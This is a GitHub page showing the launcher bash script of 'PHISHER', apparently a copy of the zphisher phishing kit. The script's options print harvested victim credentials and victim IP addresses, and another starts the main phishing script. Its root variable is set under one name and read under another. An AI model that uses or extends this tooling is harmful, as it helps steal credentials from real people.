-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathscript
32 lines (29 loc) · 774 Bytes
/
script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/bin/bash
# https://github.com/CKRISHNYT/PHISHER
if [[ $(uname -o) == *'Android'* ]];then
ZPHISHER_ROOT="/data/data/com.termux/files/usr/opt/PHISHER"
else
export ZPHISHER_ROOT="/opt/zphisher"
fi
if [[ $1 == '-h' || $1 == 'help' ]]; then
echo "To run PHISHER type \`PHISHER\` in your cmd"
echo
echo "Help:"
echo " -h | help : Print this menu & Exit"
echo " -c | auth : View Saved Credentials"
echo " -i | ip : View Saved Victim IP"
echo
elif [[ $1 == '-c' || $1 == 'auth' ]]; then
cat $PHISHER_ROOT/auth/usernames.dat 2> /dev/null || {
echo "No Credentials Found !"
exit 1
}
elif [[ $1 == '-i' || $1 == 'ip' ]]; then
cat $PHISHER_ROOT/auth/ip.txt 2> /dev/null || {
echo "No Saved IP Found !"
exit 1
}
else
cd $PHISHER_ROOT
bash ./PHISHER.sh
fi